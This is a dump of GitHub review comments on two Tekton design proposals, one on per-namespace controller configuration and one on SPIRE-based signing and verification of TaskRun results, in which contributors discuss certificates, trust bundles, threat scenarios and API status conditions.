impacted, including `pipelineRun`, `taskRun`, and `run`.", "comment_id": 792083285, "created_at": "2022-01-25T20:14:15Z", "line": 85, "path": "teps/0085-per-namespace-controller-configuration.md", "pr_number": 607, "repo": "community"} +{"author": "chmouel", "body": "just to add to @pritidesai comment it would be great to know what happen when this env variable is modified, describing what happen to existing resources and if only apply to newly created resources. ", "comment_id": 792516460, "created_at": "2022-01-26T10:50:18Z", "line": 97, "path": "teps/0085-per-namespace-controller-configuration.md", "pr_number": 607, "repo": "community"} +{"author": "chmouel", "body": "is it a conscious decision to use a env variable instead of an entry in the tekton-pipelines feature-flags configmap?", "comment_id": 792517745, "created_at": "2022-01-26T10:52:02Z", "line": 112, "path": "teps/0085-per-namespace-controller-configuration.md", "pr_number": 607, "repo": "community"} +{"author": null, "body": "One of the nice benefits of making this a field in the feature-flags configmap would be that adding new namespaces wouldn't require a controller restart.", "comment_id": 792688900, "created_at": "2022-01-26T14:25:12Z", "line": 112, "path": "teps/0085-per-namespace-controller-configuration.md", "pr_number": 607, "repo": "community"} +{"author": "vdemeester", "body": "- Is this environment variable required or optional ? a.k.a. what happens when it's not present ? \r\n- Do we see value in supporting regular expression here ?\r\n\r\nAsking those question as I think one of the main use-case here might be to enable this for all namespace but a certain set of them for example. It wouldn't scale if each time a new namespace is created in the cluster, the cluster-admin need to updated the pipeline deployment spec.", "comment_id": 792775960, "created_at": "2022-01-26T15:46:05Z", "line": 112, "path": "teps/0085-per-namespace-controller-configuration.md", "pr_number": 607, "repo": "community"} +{"author": "vdemeester", "body": "I would like for us to use a prefix here, like `tekton-feature-flags` (similar, `tekton-defaults`, \u2026). Mainly to make sure we don't run the risk of conflictings with something else in the cluster/namespace that would have a different schema and mean something different.", "comment_id": 792777575, "created_at": "2022-01-26T15:47:39Z", "line": 85, "path": "teps/0085-per-namespace-controller-configuration.md", "pr_number": 607, "repo": "community"} +{"author": "chmouel", "body": "this raises an extra question if we support regexp/globing, do we want to support negation ? i.e: \"tekton-.*\" but not \"tekton-pipelines\"\r\n\r\nin the same spriit of negation, maybe it makes sense to say, matches it for every namespaces on the cluster, but not for the admin namespaces like tekton-* openshift-* kube-* or whatever system namespaces we have. ", "comment_id": 792852573, "created_at": "2022-01-26T17:01:37Z", "line": 112, "path": "teps/0085-per-namespace-controller-configuration.md", "pr_number": 607, "repo": "community"} +{"author": "lumjjb", "body": "@bobcatfish here are some details!", "comment_id": 816940415, "created_at": "2022-03-01T16:33:37Z", "line": 611, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "nit: there's a status line on line 2 that needs to be removed or updated instead of this line", "comment_id": 817022930, "created_at": "2022-03-01T18:11:11Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "two things im wondering, for the 2nd im probably just not understanding a detail of how this all works:\r\n\r\n1. how does the entrypointer provide the signature and cert? (how large are they, are they small enough to be transmitted via the termination message, and how much space will that leave for the results themselves)\r\n2. why does the entrypointer provide the cert - i would have thought the tekton controller would want to request the cert from SPIRE independently, so it knows it can trust it?", "comment_id": 817026741, "created_at": "2022-03-01T18:16:38Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "is this also possible via the steps in a Task themselves? i.e. can I write a Task that has a step that accesses the private key and makes it available externally or uses it to sign something?", "comment_id": 817027969, "created_at": "2022-03-01T18:18:25Z", "line": 637, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "could you explain or link to something that shows what a vertical attack is for noobs like me? :)", "comment_id": 817027991, "created_at": "2022-03-01T18:18:27Z", "line": 639, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "could you explain a bit more about what is required to location the SPIRE server eternally and what these authority plugins are? this suggestion seems like it might be significantly increasing the operational cost - and that has a direct impact on some GCB plans as well", "comment_id": 817028772, "created_at": "2022-03-01T18:19:33Z", "line": 644, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "hm this would be a big change for tekton - we allow users to name taskruns and while they are unique, you can delete an existing taskrun and create it again\r\n\r\ndo we need to use the taskruns to create the SPIFFE IDs or can we rely on just the pod names?", "comment_id": 817030415, "created_at": "2022-03-01T18:21:59Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "fixed!", "comment_id": 817149373, "created_at": "2022-03-01T21:21:03Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": ">how does the entrypointer provide the signature and cert? (how large are they, are they small enough to be transmitted via the termination message, and how much space will that leave for the results themselves)\r\n\r\nIt is done via termination message now. The size of the cert is about 800 bytes, and the size of the signatures is about 100 bytes * (number of fields + 1).\r\n\r\n>why does the entrypointer provide the cert - i would have thought the tekton controller would want to request the cert from SPIRE independently, so it knows it can trust it?\r\n\r\nThe certificate is not used to verify the signature in isolation. It is used to establish the chain of trust from the SPIRE authority to the temporary key used to sign it. \r\n\r\nAs you eluded to, the tekton controller (verifier) independently talks to the SPIRE server to obtain the trust bundle, which is used to authenticate the certificate provided. The certificate is used to link the chain of trust, but also used to verify that the one who signed it belongs to the correct pod identity. For example, I should not be able to copy the result of 1 pod's signed results to another.", "comment_id": 817152924, "created_at": "2022-03-01T21:26:44Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "Absolutely. However, the private key is only used to sign outputs of that particular step. So the most it could do is spoof its own results, which could be easily done by specifying the output properly. So there's not too much to gain here since they already have execution control.\r\n\r\nI elaborate on this in the other comment about why the cert is part of the output. The check is done to make sure that the signature is for this particular step, so one is not able to sign on behalf of others.", "comment_id": 817156071, "created_at": "2022-03-01T21:31:08Z", "line": 637, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "Haha, its just a fancy label to say attack from the host. For example someone gains access to the bare metal host, and goes up into the VM, and into the container, etc. A specific scenario would be a malicious datacenter admin, or open insecure ssh port to the VM, etc. that an attacker could use to jump into the namesapce of the container", "comment_id": 817158275, "created_at": "2022-03-01T21:34:19Z", "line": 639, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "Currently we are using the task run names. It is an edge case which would be observable.\r\n\r\nBut the fix wouldn't require changing the taskruns to make them unique, but just adding the pod IDs into the TaskRun status (and the SPIFFE IDs) - Assuming Pod IDs don't suffer from traditional PID reuse issues (i.e. operating system process ID re-use).\r\n\r\n**About API**\r\nIf any, I think this essentially may be the one of the API changes if we want to include it. (or maybe its already included). Along the lines of that, one of the things we've been having trouble with is putting the signatures in annotations - because annotations are updated separately, it is a little bit troublesome to maintain signatures that may not be in lock-step with the resource digest. \r\n\r\nWhile this feature is in alpha though, I think it is possible to house all these in the [\"Status\" of the TaskRunStatus](https://github.com/tektoncd/pipeline/blob/main/pkg/apis/pipeline/v1beta1/taskrun_types.go#L111). Thoughts on this?", "comment_id": 817161724, "created_at": "2022-03-01T21:39:42Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "Yea most definitely! So let me talk through a bit about the plugin system of SPIRE server then talk about the architecture.\r\n\r\nThe SPIRE server has a plugin system where it can call out to certain services for certain functions. One of these functions is the upstream CA where all identities would be a part of - the root authority. The plugin system allows the SPIRE server to be configured to talk to existing CA services. I've listed the ones supported below. \r\n\r\nThere will definitely be operational cost if the SPIRE server wants to be operated out of cluster. It is mainly a matter of threat model. It isn't really essential in our case to use an upstream CA, because we are using it more as ephermeral keys for signing (the cost may outweigh the risk) - whereas most SPIRE deployments are about end to end authorization of an organization's entire fleet. \r\n\r\nThe base requirements of a production deployment of SPIRE would be at least an SQL database (by default it uses local storage if not configured). The CA can then be on disk or as another service. Here are some CA plugins that are supported today.\r\n\r\nplugin | name | desc\r\n-- | -- | --\r\nUpstreamAuthority | disk | Uses a CA loaded from disk to sign SPIRE server intermediate certificates.\r\nUpstreamAuthority | aws_pca | Uses a Private Certificate Authority from AWS Certificate Manager to sign SPIRE server intermediate certificates.\r\nUpstreamAuthority | awssecret | Uses a CA loaded from AWS SecretsManager to sign SPIRE server intermediate certificates.\r\nUpstreamAuthority | gcp_cas | Uses a Private Certificate Authority from GCP Certificate Authority Service to sign SPIRE Server intermediate certificates.\r\nUpstreamAuthority | vault | Uses a PKI Secret Engine from HashiCorp Vault to sign SPIRE server intermediate certificates.\r\nUpstreamAuthority | spire | Uses an upstream SPIRE server in the same trust domain to obtain intermediate signing certificates for SPIRE server.\r\nUpstreamAuthority | cert-manager | Uses a referenced cert-manager Issuer to request intermediate signing certificates.\r\n\r\n", "comment_id": 817172723, "created_at": "2022-03-01T21:54:19Z", "line": 644, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "> The size of the cert is about 800 bytes, and the size of the signatures is about 100 bytes * (number of fields + 1).\r\n\r\nHow important is it that the cert itself is emitted from the TaskRun? Is it possible we can represent the chain of trust some other way? (e.g. some unique identifier for the pod?)\r\n\r\nWhile we are trying to add support for large results ([TEP-0086](https://github.com/tektoncd/community/pull/521)), at the moment we're limited to a termination message of 4k (https://github.com/tektoncd/community/blob/main/teps/0076-array-result-types.md#size-limits) - so we're looking at taking up 20% of that space with the cert. (not to mention that this is nearly 1k worth of extra data in every single taskrun?) I suppose that could be worse but I'm wondering if we absolutely _need_ to include it\r\n\r\n(and assuming we do need it, is it possible to add some details to the requirements section around this?)\r\n", "comment_id": 818162421, "created_at": "2022-03-02T22:38:13Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "okay so im trying to imagine the worst thing that someone could do, and what ive come up with is\r\n\r\na. run a task that has steps that copy the cert + private key somewhere else\r\nb. construct a fake taskrun that looks like it has already executed and produced results - include that cert and private key in the status of the fake taskrun\r\nc. pipelines controller reconciles this fake taskrun, sees it has already finished executing, it now needs to verify this Taskrun (before adding a signature as an annotation - the fake taskrun could contain a spoofed annotation but it would be incorrect so the controller would set the signed annotation to failed)\r\nd. the pipelines controller will try to verify the results in this fake taskrun, and to do that it will request the trust bundle from spire that should have been used to sign the result\r\ne. the trust bundle spire returns either won't match or won't exist (since the taskrun didnt execute) - not sure which but either way the controller will be able to tell this taskrun is not legit\r\n\r\n^^ does this sound accurate? i.e. even if you copy the private key (and cert) and make them publicly available, nothing interesting can be done with them outside of the pod that SPIRE has associated them with?\r\n\r\n> I elaborate on this in the other comment about why the cert is part of the output.\r\n\r\nim still trying to understand if the cert is required - it seems to me like as long as anyone verifying the signed results asks SPIRE for the trust bundle it should expect to be used, im still not seeing how having access to the cert is required\r\n\r\n> The check is done to make sure that the signature is for this particular step, so one is not able to sign on behalf of others.\r\n\r\nprobably a nit but: the cert/trust bundle would be for the entire taskrun, not for a particular step in the taskrun, is that right?", "comment_id": 818162455, "created_at": "2022-03-02T22:38:17Z", "line": 637, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "> but just adding the pod IDs into the TaskRun status (and the SPIFFE IDs)\r\n\r\nah okay, if i'm understanding you correctly we've already got the pod ID in the taskrun status (https://github.com/tektoncd/pipeline/blob/main/docs/taskruns.md#monitoring-execution-status) (though we have talked about removing them - https://github.com/tektoncd/pipeline/issues/1689 - maybe this is a good reason not to)\r\n\r\n> because annotations are updated separately\r\n\r\ncould you explain a bit more about what you mean that annotations are updated separately?\r\n\r\n> While this feature is in alpha though, I think it is possible to house all these in the [\"Status\" of the TaskRunStatus](https://github.com/tektoncd/pipeline/blob/main/pkg/apis/pipeline/v1beta1/taskrun_types.go#L111). Thoughts on this?\r\n\r\ninteresting idea! in general my assumption would be that annotations are a better place for more experimental features b/c they can be changed without the API types needing to change - breaking API changes (even if our policy allows for them) mean potentially making existing resources invalid, e.g. a TaskRun that was created with a field that we later remove.\r\n\r\nat the same time i wonder if the status of the taskrun is a better long term home for these fields. the main downside I can think of is that the value of these fields is very specific not just to k8s but to SPIRE in particular - we try to [limit the k8s specific API fields we add](https://github.com/tektoncd/community/blob/main/design-principles.md#conformance) (to theoretically support a non-k8s backed Tekton implementation, which is pretty much theoretical), and ideally we'd want to make sure that potentially we could swap SPIRE out for something else (if there was ever a comparable alternative which afaik there isnt XD)", "comment_id": 818162516, "created_at": "2022-03-02T22:38:22Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "Yea - this is something that probably needs to be addressed. The certificate has to be used in the trust chain. So alternatively, if there is somewhere that we could upload it to through the entrypointer in the pod that would also work. Unfortunately, we couldn't find a good way to do this from the pod. ", "comment_id": 819005799, "created_at": "2022-03-03T19:41:15Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": ">^^ does this sound accurate? i.e. even if you copy the private key (and cert) and make them publicly available, nothing interesting can be done with them outside of the pod that SPIRE has associated them with?\r\n\r\nYes - exactly. It would not verify since the certificate for the fake taskrun would not match up with the details of the task run that is being verified by the controller!\r\n\r\n> im still trying to understand if the cert is required - it seems to me like as long as anyone verifying the signed results asks SPIRE for the trust bundle it should expect to be used, im still not seeing how having access to the cert is required\r\n\r\nThe authority creates a bunch of short-lived certs (and their key pairs). The signatures are generated from these short lived key pairs. The cert is the only thing that is linking the verification of the key used to sign to the authority (trust bundle). \r\n\r\nTrust Bundle: Verification authority (CA)\r\nCert: This key-pair K belongs to pod X, and this information is endorsed by the verification authority\r\nSignature: This content was produced by keypair K\r\n\r\nSo the signatures links the content to the keypair, but the certificate is required to link the keypair to the authority.\r\n\r\n\r\n> probably a nit but: the cert/trust bundle would be for the entire taskrun, not for a particular step in the taskrun, is that right?\r\n\r\nThe way we have it laid out now, it does both:\r\n\r\nBoth will use same Trust Bundle\r\n\r\nSigned TaskRun status: protect against the task run tampering.\r\n- Cert belongs to TektonController\r\n\r\nSigned Result: protect against pod status termination message tampering. \r\n- Cert belongs to individual pods executing steps", "comment_id": 819014399, "created_at": "2022-03-03T19:53:19Z", "line": 637, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "RE: pod names/uid. I think this is something worth exploring a bit more. It may not necessarily need to be part of an object, but just that the controller would need to have a way to distinctly verify the pod. It also does lean into how taskruns end up handling pods (which I am unclear on) - if the pod is killed and a new pod is spun up in its place, what happens here. Maybe owner reference is sufficient to manage this here, but not an expert on the inner workings on that. \r\n\r\n> at the same time i wonder if the status of the taskrun is a better long term home for these fields. \r\n\r\nYea - the dream is that kubernetes would eventually make some of these mechanisms part of the API server. We would still be a while aways from this though.. \r\n\r\n> to theoretically support a non-k8s backed Tekton implementation, which is pretty much theoretical\r\n\r\nI resound with this statement very very much.... support and backward compatibility is a pain especially with the velocity of k8s changes.", "comment_id": 819027089, "created_at": "2022-03-03T20:11:22Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "> if the pod is killed and a new pod is spun up in its place, what happens here\r\n\r\nim actually not sure what happens if you do that X'D i THINK the controller might start a new pod but im not certain - if it did start a new pod, i'm not sure it would start it from the beginning or it would be in some weird state. it also might consider it cancelled - imo if that happened the taskrun should stop and consider itself failed\r\n\r\nwhat we should allow is a pod being rescheduled (which i dont think we DO handle very well XD https://github.com/tektoncd/pipeline/issues/2813) but i dont think that would be as relevant to your concerns b/c it would still be the same pod", "comment_id": 819078927, "created_at": "2022-03-03T21:32:26Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "Talked with @lumjjb a bit offline and I think I finally get it now: I hadn't actually understood what the contents of the cert were X'D PLUS the additional detail that we need to keep the public key (contained in the cert) around for verification b/c it is short lived\r\n\r\nsince the cert is signed by the Trust Bundle, we can make sure that we can trust the cert (and the public key it contains), and as long as the tekton controller can verify that the cert is appropriate for the taskrun to be using (i.e. the ID of the taskrun matches the ID inside the cert) we should be gtg!", "comment_id": 819754971, "created_at": "2022-03-04T17:15:25Z", "line": 637, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "do we want this to happen every time the TaskRun is being reconciled (i.e. b/c the TaskRun itself has changed) in addition to every time it needs to be modified (e.g. b/c a related resource like the underlying pod has changed)\r\n\r\nI was just imagining a scenario where (for example) the TaskRun has already completed and someone modifies it - that would trigger a reconcile in the Tekton Pipelines controller, would we want the controller to notice this and do something to indicate that the TaskRun is no longer valid - or is it enough that any consumer of the TaskRun relies on verifying the signature to catch a case like this?", "comment_id": 821001997, "created_at": "2022-03-07T18:47:33Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "thanks for including this example, this helps clarify a lot!!\r\n\r\nthis could be good for the initial implemetnation, but I'm thinking it would be useful to introduce a bit more structure around these verified results, vs relying on the names (and also having potential collisions such as a Task that wants to make a result called SVID)\r\n\r\na couple of ideas:\r\n1. lean on [object result support](https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md) and create objects for each result\r\n2. add something explicitly into the TaskRun spec to hold this info <-- i'm preferring this option at the moment\r\n\r\nthere are a bunch of different ways to do (2), e.g.:\r\na. add a new field with a dictionary mapping result names to their verification info\r\nb. add some optional fields to [TaskRunResult](https://github.com/tektoncd/pipeline/blob/14eb3d800b9e49e6cb197f3bd3ac2712b98c81ea/pkg/apis/pipeline/v1beta1/taskrun_types.go#L225-L231) that could hold this", "comment_id": 821006804, "created_at": "2022-03-07T18:53:47Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "going ahead with an annotation is totally fine, esp in the initial iterations - but the more i think about this (and after i was just suggesting adding some fields into the API for results verification) im thinking it makes sense to explicitly add this into the TaskRun API (e.g. a \"verification\" section with this info)", "comment_id": 821008201, "created_at": "2022-03-07T18:55:25Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "going ahead with an annotation is totally fine, esp in the initial iterations - but the more i think about this (and after i was just suggesting adding some fields into the API for results verification) im thinking it makes sense to explicitly add this into the TaskRun API\r\n\r\nand we could definitely do this while the feature is still alpha btw, doesnt have to wait for beta", "comment_id": 821009072, "created_at": "2022-03-07T18:56:33Z", "line": 539, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "thanks for the detailed overview!!", "comment_id": 821010369, "created_at": "2022-03-07T18:58:12Z", "line": 568, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "one situation to consider, but maybe this is already covered in the above: on controller start up, it will try to re-reconcile everything in the cluster. this could happen during scenarios like upgrading, and if the controller was rescheduled\r\n\r\nwould we expect the controller to go through the above verification for every taskrun (including completed ones) in the cluster and would that have additional impact? or maybe:\r\n\r\n- it only needs to fetch the SVID and trust bundle once for all of these taskruns so NBD\r\n- we explicitly ignore completed taskruns (might be dangerous)", "comment_id": 821011616, "created_at": "2022-03-07T18:59:54Z", "line": 570, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": ">do we want this to happen every time the TaskRun is being reconciled \r\n\r\nyes - this is done per reconcile. This is a misrepresentation in the wording. Will fix this", "comment_id": 821758707, "created_at": "2022-03-08T15:09:13Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "Hmm, I agree with having these results be put in a nicer structure. That could definitely be done. Another thought... Technically, the information once verified by the controller doesn't have to be included in the TaskRun status, so we could just exclude them instead and the verification = true is encoded in the conditions.\r\n\r\n> relying on the names (and also having potential collisions such as a Task that wants to make a result called SVID)\r\n\r\nI think one challenge in doing this is that all this information comes in the termination message. One thing that we could do is to put all that additional information into a JSON structure and just reserve one/two names. Thoughts on this?\r\n\r\n+ @pxp928\r\n", "comment_id": 821767152, "created_at": "2022-03-08T15:17:17Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "This is a very good point. I've not thought about this.\r\n\r\n>it only needs to fetch the SVID and trust bundle once for all of these taskruns so NBD\r\n\r\nYea - trust bundle only gets retrieved once so it's all fine in terms for performance, SVID is static as part of the TaskRun itself so we are good on that front.\r\n\r\nHOWEVER, I think there is another concern as I'm thinking about this. Is that if the trust bundle has been rotated, it would not be able to verify the task runs... Think there are a few options here. Will need to explore though", "comment_id": 821775379, "created_at": "2022-03-08T15:25:06Z", "line": 570, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "Awesome - yea I'll draft what this may look like. ", "comment_id": 821776654, "created_at": "2022-03-08T15:26:16Z", "line": 539, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "@bobcatfish does this added section articulate the points on the certs being added? Let me know if you have suggestions on how to make this clearer (i'm very stuck in the crypto perspective when it comes to these things).", "comment_id": 821779868, "created_at": "2022-03-08T15:29:15Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "@pxp928 mentioned that we can skip checking for completed task runs as long as they have been verified by chains. Since it doesn't quite provide value anymore. Since the non-falsifiable checks are part of the pipeline run process.\r\n\r\nI think this probably is the cleanest solution for now. - others involved a lot of book-keeping (and potentially open industry problems :) ). Is your concern about ignoring completed task runs an issue if chains has already verified and signed it?", "comment_id": 821796887, "created_at": "2022-03-08T15:45:10Z", "line": 570, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "pxp928", "body": "@bobcatfish Here is where the conditions would come into play like we discussed in slack. These are validating the taskrun results and this condition is set based on that. Chains would also check that this condition to ensure the results are all valid.", "comment_id": 821906236, "created_at": "2022-03-08T17:34:35Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "pxp928", "body": "This will need to be changed to Status Annotations now.", "comment_id": 822097674, "created_at": "2022-03-08T21:44:03Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "pxp928", "body": "@lumjjb Can you explain what you mean by adding one/two names? It is true that we don't need the information stored once the verification is done by the controller. So we can remove that if needed. @bobcatfish I do like the idea of adding optional fields to the TaskRunResults to hold signatures.", "comment_id": 822242054, "created_at": "2022-03-09T02:44:36Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "It does! I think I'm nit picking at this point so please feel free to disregard this but I think this could be more clearly highlighted earlier in the proposal (again totally my own opinion and very biased by how ive been consuming updates to this TEP, might be totally different for someone reading it from scratch) - im wondering if it would make sense to have more details in the requirements that help explain this and other choices that were made, e.g. something like:\r\n\r\n* It must be possible for the controller to verify signatures generated by executing pods without needing to request the pod's public key (which is short lived and may not be available at this point)", "comment_id": 822970362, "created_at": "2022-03-09T18:43:45Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "ahhh okay, i missed this detail - before we merge this as implementable i think we should describe this new condition explicitly, e.g. in the `Design Details - API changes` section or similar\r\n\r\nand as mentioned on slack i think we should try to maintain some kind of parity between how we represent that the entire taskrun status has been verified and how we represent results have been verified", "comment_id": 822971770, "created_at": "2022-03-09T18:45:34Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "gotcha yea, ill weave that in! ", "comment_id": 823011104, "created_at": "2022-03-09T19:33:37Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "Yea let us update that section and also put in a comment the consensus we come up with.", "comment_id": 823011532, "created_at": "2022-03-09T19:34:11Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "jerop", "body": "which `TektonController` is this referring to? Is it `PipelineRun` controller?", "comment_id": 825817005, "created_at": "2022-03-14T10:51:40Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "nit: i think this is called `SignedResultsVerified` in the examples below", "comment_id": 827401836, "created_at": "2022-03-15T20:47:59Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "thanks for adding this - the section \"Design Details - Signed TaskRuns\" also seems to suggest an additional type `VERIFIED` for Task Run signing, can we go into detail in this section about that condition as well?\r\n\r\nif there was a way to only have one condition that covers both, at least initially, i think that would be preferable - e.g. if there was a status such as `Verified` and it went through transitions such as:\r\n\r\n- once the first verification occurs this is set to Unknown to indicate it is in progress\r\n- if verification of results or the TaskRun fails at any point, this is set to false\r\n- once execution of the TaskRun is complete and all results are verified, this is set to true", "comment_id": 827405402, "created_at": "2022-03-15T20:52:54Z", "line": 525, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "bobcatfish", "body": "and whether you want to have 2 separate conditions or 1, it would be great to include a list of what the states will mean (e.g. like https://github.com/tektoncd/pipeline/blob/main/docs/pipelineruns.md#monitoring-execution-status)", "comment_id": 827406027, "created_at": "2022-03-15T20:53:47Z", "line": 525, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "We decided on just 1 - sorry for the confusion, we've been going back and forth on this. Big +1 on adding a similar table to describe the status. And will include that in the PR as well!", "comment_id": 830031228, "created_at": "2022-03-18T14:04:10Z", "line": 525, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "Yup - i will fix this! Good catch - we've been bouncing around the 2 too much!", "comment_id": 830031604, "created_at": "2022-03-18T14:04:37Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "Hmm , may need a bit of help understanding the semantics. It is referring to `github.com/tektoncd/pipeline/cmd/controller` , would that be the `PipelineRun` controller? It uses mainly the `TaskRun` reconciler, which is part of `github.com/tektoncd/pipeline/cmd/controller`", "comment_id": 830034223, "created_at": "2022-03-18T14:07:30Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "pritidesai", "body": "> upload it to through the entrypointer in the pod\r\n\r\nIs it possible to utilize \"reserved directories\" for this purpose? https://github.com/tektoncd/pipeline/tree/main/docs/developers#tekton", "comment_id": 841377229, "created_at": "2022-04-04T05:29:30Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "pritidesai", "body": "Are we proposing storing certificates and SVIDs as a result or annotations? \r\n\r\nhttps://github.com/tektoncd/community/pull/643/files?diff=split&w=1#diff-968728eb62c00df8fdd664b07424d95cfc11771904765566815a89b0c07b2296R182 says they are stored as results. \ud83e\udd14 ", "comment_id": 841379090, "created_at": "2022-04-04T05:34:46Z", "line": 279, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "pritidesai", "body": "typo, s/woud/would/", "comment_id": 841383919, "created_at": "2022-04-04T05:47:56Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "pritidesai", "body": "please add a condition in case of failed verification? which all scenarios can result in such failure and what would condition look like?", "comment_id": 841385529, "created_at": "2022-04-04T05:52:15Z", "line": 399, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "pritidesai", "body": "`TektonController` is a little ambiguous, we can refer to it as `tekton-pipelines-controller` which contains both pipelineRun reconciler and taskRun reconciler.", "comment_id": 841386158, "created_at": "2022-04-04T05:54:00Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "hmm, looks interesting, but not sure if it would be usable in this case - if I understood it correctly.\r\n\r\nThe hurdle is having the data is accessible via the pod status so that the tekton controller TaskRun reconciler can get that information. The only way that communication seems to be done is through termination message (which seems to be more of a restriction of kubernetes). Although a writable downwardAPI would be super awesome as well :).\r\n\r\n(@pxp928 can probably chime in since he's been looking at this part of the code more)", "comment_id": 842123737, "created_at": "2022-04-04T20:42:31Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "We are storing them as annotations of the result 